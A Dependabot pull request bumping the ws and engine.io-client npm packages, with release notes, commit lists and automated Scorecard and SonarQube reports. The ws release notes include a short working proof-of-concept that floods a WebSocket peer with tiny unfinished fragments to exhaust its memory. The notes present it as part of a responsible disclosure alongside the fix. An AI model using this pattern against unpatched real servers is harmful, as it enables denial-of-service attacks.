build(deps): bump ws and engine.io-client

[dependabot]

Bumps ws and engine.io-client. These dependencies needed to be updated together.
Updates ws from 8.20.1 to 8.21.0

Release notes

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Commits

• bca91ad [dist] 8.21.0
• 2b2abd4 [security] Limit retained message parts
• 78eabe2 [security] Add latest vulnerability to SECURITY.md
• See full diff in compare view

Updates engine.io-client from 6.6.5 to 6.6.6

Release notes

Sourced from engine.io-client's releases.

engine.io-client@6.6.6

The ws dependency was bumped to ~8.21.0 following CVE-2026-48779.

Bug Fixes

• preserve transport literal suggestions (#5469) (d8f392e)

Dependencies

• ws@~8.21.0 (diff)

Commits

• 22cc483 chore(release): engine.io-client@6.6.6
• 9dbec81 chore(release): engine.io@6.6.9
• 3ad4e1f docs: improve example with PM2
• 0e5afee docs: add example with PM2
• eab9623 docs(eio): correct maxHttpBufferSize default in JSDoc (#5508)
• c17890c docs: add documentation about WebTransport
• 20df6ae docs(examples): add client-side load balancing example
• 16d1923 ci(publish): enable staged publishing
• ad48a9b docs(examples): add example with HTTP/2
• 190572d refactor(eio-client): remove XMLHttpRequest from the definition file
• Additional commits viewable in compare view

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[github-actions]

Dependency Review

✅ No vulnerabilities or license issues or OpenSSF Scorecard issues found.

OpenSSF Scorecard

Package	Version	Score	Details
npm/engine.io-client	6.6.6	🟢 6.5	Details Check Score Reason Dangerous-Workflow 🟢 10 no dangerous workflow patterns detected Code-Review ⚠️ 1 Found 4/30 approved changesets -- score normalized to 1 Maintained 🟢 10 30 commit(s) and 23 issue activity found in the last 90 days -- score normalized to 10 Security-Policy 🟢 10 security policy file detected CII-Best-Practices ⚠️ 0 no effort to earn an OpenSSF best practices badge detected Token-Permissions 🟢 9 detected GitHub workflow tokens with excessive permissions Binary-Artifacts 🟢 9 binaries present in source code License 🟢 10 license file detected Fuzzing ⚠️ 0 project is not fuzzed Branch-Protection ⚠️ -1 internal error: error during branchesHandler.setup: internal error: some github tokens can't read classic branch protection rules: https://github.com/ossf/scorecard-action/blob/main/docs/authentication/fine-grained-auth-token.md Signed-Releases ⚠️ -1 no releases found SAST ⚠️ 0 SAST tool is not run on all commits -- score normalized to 0 Packaging 🟢 10 packaging workflow detected Pinned-Dependencies ⚠️ 2 dependency not pinned by hash detected -- score normalized to 2
npm/ws	8.21.0	🟢 5.5	Details Check Score Reason Packaging ⚠️ -1 packaging workflow not detected Code-Review ⚠️ 0 Found 0/29 approved changesets -- score normalized to 0 Maintained 🟢 10 14 commit(s) and 5 issue activity found in the last 90 days -- score normalized to 10 Dangerous-Workflow 🟢 10 no dangerous workflow patterns detected Security-Policy 🟢 10 security policy file detected Token-Permissions 🟢 10 GitHub workflow tokens follow principle of least privilege Binary-Artifacts 🟢 10 no binaries found in the repo Pinned-Dependencies ⚠️ 0 dependency not pinned by hash detected -- score normalized to 0 CII-Best-Practices ⚠️ 0 no effort to earn an OpenSSF best practices badge detected License 🟢 10 license file detected Fuzzing ⚠️ 0 project is not fuzzed Branch-Protection ⚠️ 0 branch protection not enabled on development/release branches Signed-Releases ⚠️ -1 no releases found SAST ⚠️ 0 SAST tool is not run on all commits -- score normalized to 0

Scanned Files

• package-lock.json

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud